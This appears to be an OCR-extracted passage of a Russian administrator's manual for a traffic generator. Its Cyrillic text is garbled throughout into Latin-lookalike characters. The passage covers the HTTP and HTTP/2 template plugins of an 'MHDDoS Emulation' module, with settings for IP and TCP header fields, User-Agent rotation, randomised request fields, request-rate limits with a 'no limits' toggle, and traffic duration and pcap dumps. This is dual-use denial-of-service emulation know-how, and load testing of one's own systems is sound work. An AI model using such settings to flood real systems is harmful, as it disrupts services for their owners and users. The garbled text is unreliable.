KOTOPBIE MOTYT OBITh yCTAHOBJICHBI 32 OJTHY
CEeKYHIY.

3aaiiTe 4nCI0BOE 3HAUCHHUE
3HaueHue 0 yMOTYaHuto: «1»

Makc. cTpumMoB
(Ha ceccuto)

MakcuMaabHOE ~ KOJMYECTBO  ITOTOKOB
JTAaHHBIX, KOTOPBIE MOTYT OBITh aKTUBHBI B
OJTHOH CECCHHU.

[TapameTrp  moCTYmeH  TONBKO  HpPH
BruitoueHun H2 B «Ilapamerpax HTTP».

3anaiiTe 4uCI0BOE 3HAUCHUE
3HaueHUE TI0 YMOTYaHUI0: «20»

Tymbnep  «be3 | MakcumanbHass TPOU3BOJUTENHLHOCTE 0€3 | BKIIIOYHTH/BBIKIIOYHTH

OrpaHUYICHUS» OrpaHI/IquI/Iﬁ Ha KOJI-BO OTHPAaBJIAECMBIX Tlo YMOJIYaHHIO, TyM6J'I€p BKJIFOUEH.
3aIIPOCOB B CEKYHIY

3ampocoB B | MakcuManbHOE  KOJIMYECTBO  3alpOCOB, | 3ajaifiTe YMCIOBOE 3HAUCHUE

CEKynnIy (Ha | xoTOppic MOrYT OBITE 00paboTaHbl B | [[0 yMOTYAHMIO BHICTABICHO 3HAUCHHE:

CECCHIO0) CEKYHJly AJIsl OTHOHM CeCCHU/CTpHUMa. 10.

WurepBan mexay
OTIPaBKOH
3aIpocoB

Onuust TO3BONSET HACTPOHUTH 3aJEPIKKY
MEXKAy OTHPaBKOW 3aJaHHOTO  KOJ-Ba
3aIpOCOB B CEKYHIY.

3ajaiiTe YMCI0BOE 3HAYCHHE
3HaueHue 1o yMoa4aHuio: «10»

5.3.1.16.7 HTTP TEMPLATE

HTTP TEMPLATE — nmoannarun Juisi reHepanuu Tpaduka, HarpaBiICHHBIM HA TeHEpaIuio

HTTP-3anpocoB 1o 3agaHHOMY MaOJIOHY JJIsi UMHUTALUU JIESTUTUMHOTO WJIH BPEIOHOCHOTO

Tpaduxka.

Z[aHHLIfI IJIaTrvuH COCTOUT U3 CIICAYIOIIUX ITapaMETPOB:

a) TymOnep « AKTUBHPOBATH MOAIUIATHHY - JJIS BKJIIOYEHUS MOAIUIATHHA B paMKax

mwrarnaa « MHDDoS Emulationy.

6) HcTouHukM — BEIOpaHHBIN areHT, HHTEpdeiic, ¢ KOTOPOro areHT OyAeT OTIPABIATH

Y IPUHUMATD TpaQUK U 00BEKT OTHPABUTENH (CM. 3arojloBok 5.2.2.1) muid reHepauuu Tpaduka;

B) llenmu — BBIOpaHHBIN O0BEKT MOTyYaTENh (CM. 3aroJioBoK 5.2.2.3);

r) IP 3aronosok (L3) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposHe L3 TPC/IP,

oIMcaHue KOTOpbIX yka3aHbl B Tabn. 101;

Ta6a. 101 — ITapameTtpsl «IP 3arososok (L3)»

Ha3Banue Onucanue 3HayeHue
TTL (Time to | lapamerp TTL omnpenenser makcumanbHoe | 3anaire YHUCJIOBOE 3HAYeHUE (o
Live) KOJIMYECTBO  MapIIPYTU3aTOPOB  (XOMOB), | yMonuaHutoo, 3HaueHme TTL  sBusercs:
yepe3 KOTOpble MOXET MpouTu makeT | «128y»)
JIAaHHBIX, IPEXK]IE YeM OH OyIeT OTOPOIIICH.
Jluem
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ToS (Type of
Service)

DSCP — a310 mnosne B 3aronoBke IP-nakera,
KOTOPOE HCHOJIB3YETCSl [UISl ONpeNesICHUs
npuopuTeTa 1 00paboTku Tpaduka

3angaiite YUCJIOBOE 3HAUYECHUE (o
ymouryanuto, 3Hauenne DSCP siBnsiercst: «7»)

ECN — 570 MexaHU3M, KOTOPBIH MO3BOISET
MapIIpyTH3aTOpaM yBEIOMISATH Y31Ibl O
meperpyskax B ceTu 0e3 copoca ImaKkeToB.

BeibepeTe 3HaUCHHE U3 CIIHCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

1) TCP 3aronoBok (L4) — mapamerpst HacTpoek IP 3aronoskos Ha yposue L4 TPC/IP,

OIMCaHue KOTOPHIX yka3aHbl B Tabm. 102;

Taba. 102 — [Hapametpsl «TCP 3aronosok (L4)»

Ha3Banme Onucanue 3HaveHnne
Max. Segment Size | MakcumanbpHBIH pa3Mep CerMeHTa | 3agaidiTe YUCIIOBOe 3HaueHHe (10
(MaxcumanpHbii pasMep oIpenenseT MAaKCHUMAaJIbHBIM | YMOJYaHHUIO, 3HayeHue  Max.
CerMeHTA)

00bEM JaHHBIX, KOTOPBIA MOXKET
ObITh mepean B ogHoM TCP-

CCI'MCHTC

Segment Size siBisiercst: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCSI K MEXaHU3MY
MaciitabupoBanust okHa TCP,
KOTOPBI TO3BOJACT YBEIHYUTH
pasMep OKHa [Uisl yIpaBlCHUS
MOTOKOM JaHHBIX.

3amaiiTe YHCIOBOE 3HA4YCHHE (ITO
YMOJTYaHHIO, 3Ha4YCHUE WS
ABIIACTCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM [IaHHBIX, KOTOPBIA MOXET
OBbITh OTHpaBlieH 0e3 OXXUIaHHs

3anaiiTe ymciIoBOe 3Ha4YeHHE (TI0
yMoiuaHuioo, 3HadeHue Window
Size siBnsiercs: «256»)

MOATBEPIKACHHUA OT IMOJTyUaTCIIsd.

e) Ilapamerpsr HTTP - mapamerpsr nHactpoexk HTTP 3aronoBkoB Ha ypoHe L6-L7

TPC/IP, onucanue KOTopbix yka3aHo B Ta6mn. 103;

Ta6a. 103 — [Hapamertpsl «Ilapamerpst HTTP»

KIMCHTCKOE TpPHUIIOKEHHE (Hampumep,

HaszBanue Onucanue 3nauyenue
HTTPs VYka3bIBaer, WCIIONb3YETCS mu | la / Her (ykaxure TeKyllee COCTOSIHUE
3alMIICHHBI  MPOTOKOJN  Mepelayd | mepekirodaTeneM TymOiepa)
nauaeix HTTPS
Bepcus TLS Bepcus TLS (Transport Layer Security) | Beioepere 3nauenue TLS v1.2 wmm TLS v1.3
ompenenseT TPOTOKON IIH(PPOBAHUS,
WCTIONB3YEMBI Ui oDOecreueHus
0e30macHOl Tepenayn JaHHBIX MEXITY
KITUEHTOM u cepBepoM
[TapameTrp mocTymieH, eciM mHmapamerp
HTTPs Bxitouen
Bepcus VkaseiBaer Bepcuto nporokosia HTTP, | ITo ymomyanuto, 3anano 3nauenue HTTP 1.1
HTTP HCIIOJIB3YEMYIO JUIS IIEpEIaul JaHHBIX.
User-Agent 3aroyioBoK, KOTOpBIN uaeHTHHUUpyeT | BBeaure 3HaueHHe 3arojoBKa:
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Opay3ep) U ONEPAMOHHYI0 CHCTEMY, C
KOTOPO# OCYILECTBISIETCS 3aMpoC.

no ymomuanuio, ${userAgent} - ObGecneunBaer
porammto User-Agent: s KaxIoro 3armpoca
BEIOMpaeTCs CIIy4allHBIA BaNWAHBIA BapHaHT W3
crmcKa B BeO-uHTEpdeiice

IlyTth Vka3plBaeT MyTh K 3ampammuBaeMoMy | Beenute 3HadeHue myTd (IO  yMOJIYaHUIO,
pecypcy Ha cepBepe. 310 yacth URL, | 3HaueHne myTHu sBIsSETCS KOpHEBass AUPEKTOPUS
KOTOpast CJIeyeT 3a IOMCHHBIM UMEHEM. | cepBepa: «/»)
HTTP meton | Meton, wucnonb3yeMelii aist 3ampoca | BeiGepere n3 ciiemyromiero crimcka:
pecypca Ha cepBepe. e GET
e POST
e PUT
e PATCH
e DELETE
Query [Tapametprl, nepenaBaembie B URL | BBenure 3HaueHue 1ociie HaXaTus KHOIKHU
napaMeTpsl rocJie 3Haka Bomnpoca (?) «/106aBUTH TApaMETPBI»:

e Bsenure cBO€ 3HaUCHUE

o  ${str(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3agaHHo# auHbl (puMmep: ${str(16)})

e ${strMinMax(min_length,max _length)}
- dopmupyer [IPOU3BOJIBHY IO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOH B
YKa3aHHBIX npeaenax (mpumep:
$ {strtMinMax(16,24)})

o  ${hex(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aJaHHO UIMHBI B IIECTHAIIATEPHYHOM
dopmare (mpumep: ${hex(16)})

e ${hexMinMax(min_length,max length)}
- Dopmupyer IIPOU3BOJIBHY IO
KOMOWHAIIHIO CHUMBOJIOB B
[IECTHAALATEPUIHOM (dopmare B

YKa3aHHBIX npenenax (pumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyeT BamuaHBIN email
CO CIIy4aiHbIM UMEHEM II0JIb30BaTeIsl U
JOMEHOM

e ${login} - dopmupyeT BaIUAHBIN JOTHUH

HOJIb30BATEIS]
o ${password}- DopmupyeT BaIUIHBII

apoJib MOJIb30BaATEIIA

Teno 3anpoca

Yacte HTTP-3ampoca, coxepsxamias
JTAaHHBIC, KOTOpPBIC KJIMEHT OTIIPABIIICT
cepBepy (Hanpumep, hopmy mwim JSON)
[MapameTp MOCTYyIEH eciu BBIOPAHBI
metozwl: POST, PUT unu PATCH

3aloJHUTE TOJIE «TEN0 3ampocay CIIEAYHOLIUM
o0Opazom:
e Bgaeaure 3HaueHHE TEJIO 3arpoca
o  ${str(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3amaHHoi el (pumep: ${str(16)})
e ${strMinMax(min_length,max_length)}
- dopmupyer IIPOU3BOJIBHY IO
KOMOHMHAIIMIO CHMBOJIOB C JUIMHOW B
yKa3aHHBIX npeaenax (mpumep:
$ {strMinMax(16,24)})
o  ${hex(length)} - Dopmupyer
MPOM3BOJIBHYI0 KOMOWHAILIMIO CHMBOJIOB
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3aIaHHOM [UTHHBI B IIECTHAALATCPHIHOM
dopmare (mpumep: ${hex(16)})

o ${hexMinMax(min_length,max length)}
- dopmupyet TPOU3BOJIBHYO
KOMOWHAIHIO CHMBOJIOB B
[ICCTHAIATCPUIHOM bopmare B
YKa3aHHBIX npenenax (mpumep:
$ {hexMinMax(16,24)})

e ${email} - ®opmupyer BamuaHBINH email
CO CJIy4alHBIM MMEHEM II0JIb30BaTelsi U
JOMEHOM
o ${login} - ®opmupyeT BaIUAHbBIH JTOTHH
IOJIb30BaTENs
${password}- DopmupyeT BaIHAHBIII MApPOJbH

IOJIL30BAaTEIIs

3aroj0BKH1 JlonoyiHUTETEHBIE MeTaJaHHble, | 3HaYEHUS M0 YMOIYaHUIO:
- VR L N
ormpasisiembie  BMecte ¢ HTTP- | «Accepty:« */*»;

3ampocoM. «Accept-Encoding»:« gzip,deflate,br»;

«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-originy;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«documenty;
«Pragman:«no-cache;

BBeaute 3HaueHWe TMocie HaXKaTHs KHOIKHU
«J100aBUTH MapamMeTph»:

e Bsenure cBO€ 3HaUCHUE

o  ${str(length)} - dopmupyer
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aganHoi 1uuHbl (puMmep: ${str(16)})

o ${strMinMax(min_length,max_length)}
- dopmupyer MPON3BOJILHYIO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOW B
YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aJaHHOI [UIMHBI B IIECTHA/IIATEPHYHOM
dopmarte (mpumep: ${hex(16)})

e ${hexMinMax(min_length,max length)}
- dopmupyer IIPOU3BOJIBHY IO
KOMOWHAITHIO CHUMBOJIOB B
HIECTHAALATEPUIHOM ¢dopmare B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})
e ${email} - ®opmupyer BamuIHbIII email
CO Cly4YaiHBIM MMEHEM II0JIb30BaTelsi U
JIOMEHOM
e ${login} - ®opmupyeT BaJIUIAHBINA JOTUH
TMOJIb30BATES
${password}- @opmupyer BalHAHBIA MAPOJb
I0JIb30BATEIs

Jlucm

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

sepcuu 1.4 7

U3m. |JTlucm | Ne dokym. lModnucs | dama




k) IlapameTpsl ceccuu - mapameTpsl, Kacarolluecs YIpaBICHUs CECCUSIMU B paMKax

TEKYIIeTro IJIaruHa, ONMMCAaHUe KOTOPBIX yKa3aHo B Tabn. 104;

Ta6a. 104 — IMapamerpsl «IlapameTpbl cecCum»

Ha3zpaHue Onucanune 3HaueHHe
Oo0miee MakcumanbHOE KOJTHYECTBO OJHOBPEMEHHO | 3afaifTe YNCIIOBOE 3HAUCHHE
KOJIMYECTBO AKTHBHBIX CECCHH, KOTOPbIE MOTYT OBITh | 3yavenue 1o yMomganmio: «10»
ceccuil YCTaHOBIICHBI B paMKax IIJIaTMHA.

Taiim-ayT Bpemst B cexyHmax, B TedeHHE KOTOPOro | 3amaiiTe 4MCIOBOE 3HAUCHHE
[IOBTOPHOIO ITepecser-CT Oyner TBITATBCS | 3paueHue TI0 yMONYAHHIO: «0»
MOJAKIIIOYEHUS BOCCTAHOBUTb COEAMHEHHE IIOCIE €ro

paspeiBa. Ecmu coeauHenue He Oyaer
BOCCTAHOBJIEHO B YyKa3aHHBIM IMEPHO/I,
ceccus OyIeT 3aKphITa.

INonxmrouennit B | MakcumanbHOE KOJMYECTBO HOBBIX CECCHM, | 3amaiiTe YUCIOBOE 3HAUCHHE
CEKYHIY KOTOPBIC MOTYT OBITh YCTAHOBICHBI 32 OJHY | 3HadeHHe 10 YMOMYAHHIO: «1»
CEeKYHIY.

Tymbnep  «be3 | MakcumanbHass TPOM3BOAUTENHHOCTE 0€3 | BKIIOYNTH/BBIKIIOYHTH
OTPaHUICHHS» OTPAaHUYCHUH HA KOJI-BO OTHPABISCMBIX | [[o yMOMYAHMIO, TyMOJIEp BKIIOUCH.
3aIpPOCOB B CEKYHIY

3anpocos B | MakcumanbHOE€  KOJMYECTBO  3aIpoOCOB, | 3agalTe YMCIOBOE 3HAUCHHE
CEKyHIy (Ha | xoToppie MOryT ObiTb 00paboTaHbl B | [Jo YMOJIYAHUIO BBICTABJICHO 3HAYEHUE:
Ceccuio) CEKYHIY JJIs OJIHO# ceccuu/cTpuMa. 10.

I/IHTepBaH MEXIY OHHI/Iﬂ MO3BOJIAICT HACTPOUTH 3aJCPIKKY BaﬂaﬁTe YHCJIOBOC 3HAYCHUC
OTHpaBKOﬁ MCXKIY OTHpaBKOﬁ 3aJaHHOT'O KOJI-Ba | 3gaueHUE 1o YMOJTYAHUIO: «Oy
3arpocoB 3aIpoCOB B CEKYHY.

5.3.1.16.8 H2 HTTP TEMPLATE

H2 HTTP TEMPLATE — noamuiarus Juis reHepanuy Tpaduka, HalpaBlIeHHbIH Ha TeHepaluio
HTTP-3anmpocoB no 3agaHHOMY MA0JI0HY A MMUTAMU JIESTHTUMHOIO WJIM BPEIOHOCHOTO
Tpaduka, ucnoins3ys nporokoia HTTP 2.
JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIMX TapaMeTPOB:

a) TymOnep «AKTMBHPOBATH MOIJIATUHY» - JUIS BKIIOYEHUS MOAMJIAruHa B paMKax
wiaruaa «MHDDoS Emulation».

6) WcTouHuku — BEIOpaHHBIN areHT, HHTEepdeiic, ¢ KOTOPOro areHT OyAeT OTIIPABIATH
U IPUHUMATh TpaduK U 00BEKT OTHPABUTEND (CM. 3aT0JI0BOK 5.2.2.1) /1 reHepanuu Tpapuka;

B) llenmu — BBIOpaHHBIN OOBEKT MOTyYaTENh (CM. 3aroJioBok 5.2.2.3);

r) [P 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoBkoB Ha yposue L3 TPC/IP,

oIMcaHue KOTOPhIX yka3aHbl B Tabn. 105;
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Ta6ua. 105 — IHapameTtps! «IP 3aronosok (L3)»

Ha3zBanme Onucanue 3nayeHue
TTL (Time to | Ilapamerp TTL ompenenser makcumanbHoe | 3anaite YHUCTIOBOE 3HaAYCHHUE (o
Live) KOJIMYECTBO  MapIIPYTU3aTOPOB  (XOMOB), | yMonuaHutoo, 3HaueHue TTL  sBusercs:
gepe3 KOTOpbIE MOXeT TMpoHTH makeT | «128y)
JTAaHHBIX, MPEKIC YeM OH OyAET OTOPOIICH.
ToS (Type of | DSCP — arto none B 3arosnoBke IP-makera, | 3anaiite YHUCJIOBOE 3HaYeHUE (mo
Service) KOTOpOE HCIONB3YeTCs U OMpelneieHus | ymonuaHuto, 3HadeHue DSCP sBusietcs: «7»)

npuopuTeTa 1 00paboTku Tpaduka

ECN — »T0 MexaHU3M, KOTOPBIH MO3BOJISET

BLI6epeTe 3HAUYCHUC U3 CIIMCKA:

MapupyTH3aToOpaM yBEAOMIIITH y3IBl O
meperpyskax B ceTu 0e3 cOpoca ImaKkeToB.

00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

1) TCP 3aronoBok (L4) — mapamerpst HacTpoek IP 3aronoskos Ha yposue L4 TPC/IP,

OINMCaHue KOTOPBIX YKa3aHbl B Ta0n. 106;

Taba. 106 — ITapametpsl «TCP 3aronoBox (L4)»

HaszBanue Onucanne 3HaueHne
Max. Segment Size | MakcuManbpHBIA pazMep cerMeHTa | 3amaiiTe 4YuciIoBO€ 3HadeHue (1o
(MakcumanbHbii pasmep oIpenenseT MAaKCHUMAaJIbHBIM | YMOJYaHHUIO, 3HayeHue  Max.
CerMeHTA)

00beM JaHHBIX, KOTOPBIA MOXET
ObiTh TepenaH B omHom TCP-

CEIMCHTC

Segment Size siBisiercst: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHU3MY
MacmtabupoBanust  okHa TCP,
KOTOPBIH TO3BOJISIET  YBEJIUYHUTH
pasMep OKHa il  yNpaBJICHUS
IIOTOKOM JaHHBIX.

3amaiiTe YHUCIOBOE 3Ha4YCHHE (IO
YMOJTYaHHIO, 3HaYCHUE WS
ABIISIETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM [IaHHBIX, KOTOPBIA MOXET
OBbITh OTHpaBlieH 0e3 OXXUIaHHs
TTOJITBEPKICHHS OT MOTydaTes.

3anmaiiTe 4mciIoBOe 3Ha4YeHHE (TI0
yMoiuaHuioo, 3HadeHue Window
Size siBnsiercs: «256»)

e) Ilapamerpsr HTTP - mapamerpsr nHactpoexk HTTP 3aronoBkoB Ha ypoHe L6-L7

TPC/IP, onucanue KOTopbiX yka3aHo B Tabmn. 107;

Ta6a. 107 — IHapamertpsol «Ilapametrpst HTTP»

HasBanue Onucanue 3nauyenue
HTTPs VYka3bIBaer, WCIIONb3YETCS ma | [la / Her (ykaxure TeKyllee COCTOSIHUE
3alMINCHHBIA ~ TPOTOKON  Iepeladd | MmepekiodareneM TyMoiepa)
nauaeix HTTPS
Bepcus TLS Bepcus TLS (Transport Layer Security) | Beioepere 3nauenue TLS v1.2 wimm TLS v1.3
ompenenseT TPOTOKON IIM(PPOBAHNS,
WCTIONB3YeMBIH Ui obecredeHust
Jluem
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Oe30macHO# Tepenavyn TaHHBIX MEXITY
KIMECHTOM Hu cepBepoM
[MapameTrp mocTyIieH, ecil mapamerp
HTTPs BkmroueH

Bepcus VYkassiBaer Bepcuto nporokosa HTTP, | Ilo ymonuanuto, 3anano 3nauenue HTTP 2
HTTP HCIOJIB3YEMYIO IS IEpeAaun JaHHbIX.
User-Agent 3aroioBoK, KOTOpBIN uaeHTHGHIUpyeT | BBeaure 3HaueHHe 3arojoBKa:
KIMCHTCKOC NPHIOKEHHE (HAIPUMED, | o ymomuanmio, ${userAgent} - OGecreunBaeT
Opaysep) W OIEPALMOHHYIO CHCTEMY, C | porammio User-Agent: s KakI0ro 3ampoca
KOTOpOH OCYHICCTBIIACTCA 3alIpoC. BBIOMpAeTCs CIy4alHbIH BalWAHBIA BapHaHT U3
crmcka B BeO-uHTEpdeiice
[yTts VYka3plBaeT MyTh K 3ampamiBaeMoMy | Beemure 3HaueHne myTH (10 YMOJIYaHUIO,
pecypcy Ha cepBepe. I1o wacth URL, | 3HaueHWe MyTH SBISETCS KOpHEBas IUPEKTOPHS
KOTOpas cIeIyeT 3a TOMEHHBIM UMCHEM. | cepBepa: «/»)
HTTP meton Merton, ucmons3yemslii mis 3ampoca | Beibepere U3 clemyromero Crmcka:
pecypca Ha cepBepe. e GET
e POST
e PUT
e PATCH
e DELETE
Query [Tapamertprl, nepenaBaembie B URL | BBenure 3HaueHue 1mociie HaXaTus KHOIKHU
napaMmeTpsl nociie 3Haka Bompoca (?) «J100aBUTH mapaMeTpbI»:

e Bsenure cBO€ 3HaUCHUE

o  ${str(length)} - dopmupyer
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aganHoi auHbl (puMmep: ${str(16)})

o ${strMinMax(min_length,max_length)}
- Dopmupyer IIPOU3BOJIBHY IO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOW B
YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aJaHHOI JUIMHBI B IIECTHA/IIATEPHYHOM
dopmare (mpumep: ${hex(16)})

e ${hexMinMax(min_length,max length)}
- Dopmupyer IIPOU3BOJIBHY IO
KOMOWHAIIHIO CHUMBOJIOB B
HIECTHAALATEPUIHOM ¢dopmarte B

yKa3aHHBIX mpeaenax (mpumep:
${hexMinMax(16,24)})

e ${email} - ®opmupyer BanuIHbIII email
CO Cly4YaiHBIM MMEHEM II0JIb30BaTelsi U
JIOMEHOM

e ${login} - ®opmupyeT BaJIUIAHBINA JOTUH
TMOJIb30BATES

o ${password}- Dopmupyer BaIHIHBII
MapoJb MOJIb30BATEIS

Teno 3anpoca

Yacte HTTP-3ampoca, coxepxamias
JTAaHHBIC, KOTOpPBIC KJIMEHT OTIIPABIIICT
cepBepy (Hanpumep, hopmy i JSON)
[MapameTp MJOCTYIEH eciu BBIOPAHBI
metoawl: POST, PUT unu PATCH

3arnojHUTE TOJEe «TEN0 3ampocay ClEAYHOIUM
obpazom:
e Bgaeaure 3HaueHHE TEJIO 3arpoca
o  ${str(length)} - dopmupyeT
MPOU3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3amaHHOM MuHbI (puMep: ${str(16)})
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o  ${strMinMax(min_length,max_length)}
- dopmupyer MPOU3BOJILHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
YKa3aHHBIX npenenax (mpumep:
$ {strMinMax(16,24)})

o  ${hex(length)} - dopmupyer
NPOU3BOJIbHYIO KOMOWHAIIHIO CHMBOJIOB
3aIaHHOH [UTMHBI B IIECTHAALATCPHIHOM
dopmare (mpumep: ${hex(16)})

o  ${hexMinMax(min_length,max length)}
- dopmupyet IIPOU3BOJIBHYIO
KOMOHMHAIIHIO CHMBOJIOB B
IIECTHAANATSPUIHOM ¢dopmare B

YKa3aHHBIX npeaenax (mpumep:
$ {hexMinMax(16,24)})

e ${email} - Dopmupyer BanuaHbIil email
CO CIIy4aiHbIM UMEHEM II0JIb30BATeIsl U
JOMEHOM

e ${login} - ®opmupyeT BaIUIAHBINA JTOTUH
TI0JIB30BATEIIS

o S${password}- DopMmupyer BaJIUAHBIHA
[apoJib MOJTB30BATEIS

3aroyioBku JlononHurenbHble MeTaJaHHble, | 3HAYCHUS 110 YMOIIaHHIO:
ormpasimsiembie  BMecte ¢ HTTP- | «Accepty:« */*»;
3aMpOCOM. «Accept-Encodingy:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-originy;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«documenty;
«Pragmay:«no-cachey;
Beemute 3HaueHWe TMOCIe HaXaTHUS KHOTKH
«J1o0aBUTH TapaMeTpB»:
e Bsenute cBO€ 3HaUCHUE
o  ${str(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3ajanHoi 1uuHbL (puMmep: ${str(16)})
o  ${strtMinMax(min_length,max_length)}
- dopmupyer IIPOU3BOJIBHY IO
KOMOHMHAIIMIO CHUMBOJIOB C JUIMHOW B
YKa3aHHBIX npeaenax (mpumep:
$ {strMinMax(16,24)})
o  ${hex(length)} - Dopmupyer
MPOU3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aJJaHHOM JUIMHBI B IIECTHAIIATEPUIHOM
dopmare (mpumep: ${hex(16)})
e ${hexMinMax(min_length,max length)}
- dopmupyer IIPOU3BOJIBHY IO
KOMOUWHAITHIO CHMBOJIOB B
IIeCTHAIATEPUIHOM tdhopmarte B
YKa3aHHBIX mpeenax (mpumep:
$ {hexMinMax(16,24)})
Jluem
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${email} - dopmupyer BanuaHbli email
CO CJIy4alHBIM MMEHEM II0JIb30BaTelsi U
JIOMEHOM

${login} - ®opmupyeT BaTHIHBIN JIOTHH
TIOJIb30BaTENs

${password}- dopmupyeT BaIHIHbIH
1apoJb HOJIb30BaTEIs

k) IlapameTpsl ceccum - mapameTpsl, KacarolMecs YIIPaBICHUs CECCUSIMU B paMKax

TEKYIIeTro IJIaruHa, ONMMCaHUe KOTOPBIX yKazaHo B Tabn. 108;

Ta6u. 108 — [IapameTtps! «IlapameTpsl ceccum»

Ha3zBanue Onucanue 3HaueHune
OOmee MakcuManbHOE KOJIMYECTBO OJHOBPEMEHHO | 3ajaiiTe YMCIOBOE 3HAYCHHE
KOJIUYECCTBO AKTUBHBIX CeCCHﬁ, KOTOp])Ie MOFyT 6LITI> 3HaquI/Ie o yMOanHI/HO: «10»
ceccuit YCTaHOBJIEHBI B paMKax IUIarvHa.

Taim-ayT Bpemsi B cexkyHIax, B T€4EHHE KOTOPOro | 3ajalTe YMCIOBOE 3HAUECHUE
IMOBTOPHOT'O HepeCBeT-CT 6yHeT IObITATHCA 3HaueHue 1o YMOJIYaHHIO: «Oy
MOAKITFOYCHUS BOCCTAaHOBUTH COCIMHEHHUE TIIOCIIE €ro

paspeiBa. Ecnum coemuHenne He Oyaer

BOCCTAaHOBICHO B YKa3aHHBIA IIEPHOL,
ceccust OyAeT 3aKphITa.

Ilonkmrouenuii B
CEeKyHIY

MaxkcumanbHOE KOJTUYECTBO HOBBIX CECCHUH,
KOTOPBIC MOTYT OBITh YCTAHOBJICHBI 3a OHY
CEeKYHIY.

3ajaiiTe UMCI0BOE 3HAUCHUE
3HaueHHUe MO0 YMOIYAHUIO: «1»

Makc. cTtpumoB
(Ha ceccuro)

MakcuMaabHOE  KOJIHWYECTBO  ITOTOKOB
JTAHHBIX, KOTOPBIE MOTYT OBITh aKTUBHBI B
OJIHOH CECCHHU.

3azaiite YUCI0BOE 3HAUEHHE
3HaueHue N0 YMOJTYaHUIO: «20»

Ilapamerp ~ AOCTyHEH  TOJBKO npH
BritoueHun H2 B «Ilapamerpax HTTP».
Tymbnep  «be3 | MakcumanbpHas MPOU3BOIUTENBHOCTh 0€3 | BKIFOUNTH/BBIKIIOYHTH
OrpaHUYCHUS OFpaHI/IlIeHI/Iﬁ Ha KOJI-BO OTHPABJIAEMBIX Tlo YMOJIYaHHIO, TYM6J'I€p BKJIFOUEH.
3aIPOCOB B CEKYHAY
3ampocoB B | MakcuManbHOE  KOJIMYECTBO  3alpOCOB, | 3ajaiiTe YMCIOBOE 3HAUCHUE
CEKynn1y (Ha | xoToppie MOryT ObITh 00paboTaHbl B | [[0 yMOTYAHMIO BHICTABICHO 3HAUCHHE:
CECCHIO0) CEeKYH]y AJIsl OTHOM CeCCHUU/CTpHUMa. 10.

WHuTepBan Mexay
OTIIPABKOM
3aIpOCOB

Onmusa Mo3BOJSIET HACTPOUTH  3aEPXKKY
MEXJIy OTIPaBKOM 3aJaHHOTO  KOJ-Ba
3aIpOCOB B CEKyHIY.

3ajaiiTe YUCIOBOE 3HAUYECHHE
3HaueHue o yMoi4yaHuio: «0»

[Tocne BKIIFOYEHHS TOATUIATHHOB HEOOXOIWMO YyKa3aTh JUIMTEIBHOCTh pabOTHl IUIaruHa

MHDDOS Emulation

I[J'II/ITCJ'ILHOCTB - MapameTp, OTBEUAIONIUN 3a BpeMA paGOTBI I[J1arnHa, OMUCAaHUC KOTOPOro

ykazaHo B Tabmn. 109.
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Ta6ua. 109 — [apameTtp «/ITUTEIBHOCTDY

HazBanmue Onucanmne 3HaueHnmne
JITATEeIbHOCTD Bpewmst renepanun tpadurka 3agaiiTe YUCIIOBOE 3HAYUCHHWE W BBHIOEpETE
TeHepannu BEeIMYUHY (B CEKyHIAX, MUHYyTaxX WIIH

gacax)

5.3.2 HacTtpo#ka «[amnbl Tpacduka»

Bxuagka "/lammer Tpaduka" B BeO-MHTEpdeiice Mo3BOISET BKIOYATH 3alUCh BXOJSIIETO H

HCXOOAIICTO Tpa(bI/IKa B (bopMaTe pcap, a TaKKE 3alpaliiBaTh 3THU 3alIMCH C ar€HTa KaK 10 3aBCPIICHUA,

TaK U IIOCJIC 3aBEPIICHHUA 3aJa4H 110 Ir€HEpalun Tpa(bI/IKa.

5.3.2.1 BknroyeHue 3anucu mpaghuka

Jlnsa mpocMoTpa 3anucH oThpaBieHHoro u mpuHstoro tpaduka IlepecBer-CT HeoOxommumo

BKJIFOYHMTH 3aIIMCh JaMIIOB Tpa(bm(a.

JJist 3TOrO0 HEOOXO0IUMO:
